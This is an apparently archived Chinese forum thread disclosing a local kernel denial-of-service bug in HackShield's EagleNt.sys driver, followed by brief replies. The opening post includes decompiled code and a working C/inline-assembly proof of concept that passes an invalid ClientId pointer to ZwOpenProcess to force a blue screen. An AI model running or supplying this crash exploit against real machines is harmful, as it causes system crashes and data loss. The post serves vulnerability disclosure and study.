本论坛为只读模式,仅供查阅,不能注册新用户,不能发帖/回帖,有问题可发邮件 xikug.xp (^) gmail.com
查看: 46342|回复: 11

HackShield    EagleNt.sys  本地内核拒绝服务漏洞 [复制链接]

Rank: 1

发表于 2010-7-25 17:13:21 |显示全部楼层
HackShield    EagleNt.sys  本地内核拒绝服务漏洞

影响范围:  HackShield

漏洞细节:
  1.   
  2. v26 = (int)ClientId;
  3.   InterlockedIncrement(&dword_29D10);
  4.   if ( !v26 )
  5.     goto LABEL_14;
  6.      ......
  7. xxxx(......*(_DWORD *)v26,......)
复制代码
EagleNt.sys  在自己的NtOpenProcess HOOK函数中参数检测不严格 ,没有验证参数的正确性就直接使用,并且没有使用SEH来捕捉函数中的异常

虽然程序有检查ClientId是否为0,但是可惜的是ClientId是一个指针(PCLIENT_ID  ClientId),只要我们随便传递一个不为0的非法地址就可以触发异常..

测试代码:
  1. int main(int argc, char* argv[])
  2. {
  3. printf("HS 0day  By 单行\n");
  4. printf("请保存好你的数据,按下回车键后激活0day\n");
  5. getchar();
  6. GetProcAddress(GetModuleHandle("ntdll.dll"),"ZwOpenProcess");
  7. __asm
  8. {
  9.     push 1   //ClientId  地址
  10.     push 0
  11.     push 0
  12.     push 0
  13.     call eax
  14. }
  15. return 0 ;
  16. }
复制代码

以上代码运行在有HackShield驱动的机器上就可以触发蓝屏


这篇文章的格式是按照MJ0011博客里面的那种格式写的......小弟初学0DAY,有错误的地方麻烦各位大大指出.....


各位大大们别喷我,我只是个菜鸟


感言:
想不到HackShield这种“高级”产品上面,也有这种“低级”漏洞

Rank: 4

发表于 2010-7-25 20:50:43 |显示全部楼层
这种漏洞好像还不少。。。

Rank: 4

发表于 2010-7-25 23:30:54 |显示全部楼层
这种漏洞没什么利用价值,最多蓝下.损人不利己而已.

Rank: 5Rank: 5

发表于 2010-7-26 03:09:06 |显示全部楼层
引用第2楼wowocock于2010-07-25 20:30发表的  :
这种漏洞没什么利用价值,最多蓝下.损人不利己而已.

还是有意义的

Rank: 3Rank: 3

发表于 2010-7-26 09:53:41 |显示全部楼层
单行O(∩_∩)O~
搞蓝屏很好很强大,很暴力。

Rank: 1

发表于 2010-7-26 10:03:24 |显示全部楼层
这个漏洞 貌似之前有人爆过

Rank: 3Rank: 3

发表于 2010-7-26 10:44:34 |显示全部楼层
能蓝就不错了
俺有时候是想蓝蓝不了。。。

Rank: 2

发表于 2010-7-26 14:41:16 |显示全部楼层
这个提醒了我的代码

Rank: 1

发表于 2011-10-6 08:19:05 |显示全部楼层
i have src of hackshield ;p

Rank: 1

发表于 2011-10-6 15:06:16 |显示全部楼层
反外挂就是让你蓝用的,用外挂就容易蓝,他们才不需要处理拒绝服务漏洞呢。
我也一直再想啊,360很适合做反外挂呀,企业收入啊,为什么不去做呢??

Rank: 1

发表于 2011-11-24 16:22:07 |显示全部楼层
损人不利己  要是能拿到特殊权限就好了

Rank: 1

发表于 2012-2-22 18:06:39 |显示全部楼层
如果是远程,那肉鸡岂不上亿了·
您需要登录后才可以回帖 登录 | 立即加入

Archiver|手机版|第8个男人 - 论坛为只读模式,仅供查阅

GMT+8, 2019-1-24 06:23 , Processed in 0.026844 second(s), 8 queries .

Design by pvo.cn

© 2011 Pvo Inc.

回顶部